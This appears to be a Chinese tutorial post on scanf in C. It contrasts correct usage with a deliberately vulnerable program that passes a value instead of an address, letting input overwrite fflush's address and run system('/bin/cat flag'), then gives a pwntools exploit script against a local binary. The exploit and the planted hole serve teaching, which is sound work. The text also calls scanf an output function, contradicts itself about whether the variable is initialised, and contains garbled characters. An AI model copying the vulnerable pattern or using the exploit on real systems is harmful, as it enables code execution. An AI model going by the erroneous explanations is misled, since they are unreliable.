scanf深入分析
概述
scanf()是C語言中的一個輸出函數(shù)。與printf函數(shù)一樣,都被聲明在頭文件stdio.h里,因此在使用scanf函數(shù)時要加上#include 。(在有一些實現(xiàn)中,printf函數(shù)與scanf函數(shù)在使用時可以不使用預編譯命令#include 。)它是格式輸入函數(shù),即按用戶指定的格式從鍵盤上把數(shù)據(jù)輸入到指定的變量之中。
定義
int scanf(const char * restrict format,...);
函數(shù) scanf() 是從標準輸入流stdin (標準輸入設備,一般指向鍵盤)中讀內(nèi)容的通用子程序,可以說明的格式讀入多個字符,并保存在對應地址的變量中。 函數(shù)的第一個參數(shù)是格式字符串,它指定了輸入的格式,并按照格式說明符解析輸入對應位置的信息并存儲于可變參數(shù)列表中對應的指針所指位置。每一個指針要求非空,并且與字符串中的格式符一一順次對應。
匯編分析
示例程序(正確寫法):
#include <stdio.h>
int ?main(){
? ?int a;
? ?scanf("%d",&a);
? ?printf("%x\n",&a);
? ?printf("%d\n",a);
? ?return 0;
}
反匯編查看scanf

從匯編代碼中可以看出來這里是把a的地址壓入棧中。 漏洞程序(經(jīng)典的錯誤寫法):
#include <stdio.h>
#include <stdlib.h>
int main(){
? ?int a ?= 0x0804a010;
? ?scanf("%d",a);
? ?fflush(stdin);
? ?printf("Login OK!n");
? ?system("/bin/cat flag");
? ?return 0;
}
a的值0x0804a010是fflush的地址。反匯編查看scanf

這里是把a的值壓入棧中。由于a的值沒有進行初始化,是一個隨機的值。也就是這個壓入堆棧的值是一個隨機的,由于很多地址是無法寫入的,因此很容易導致程序崩潰。
攻擊代碼
#-*- coding: UTF-8 -*-
#!/usr/bin/python
from pwn import *
p= process('./test')
system_addr = 0x0804857d
payload = p32(system_addr)
p.send(payload)
p.interactive()
運行結(jié)果如下

flag的內(nèi)容我們成功查看到了,也就是system("/bin/cat flag")被成功執(zhí)行了。
公眾號
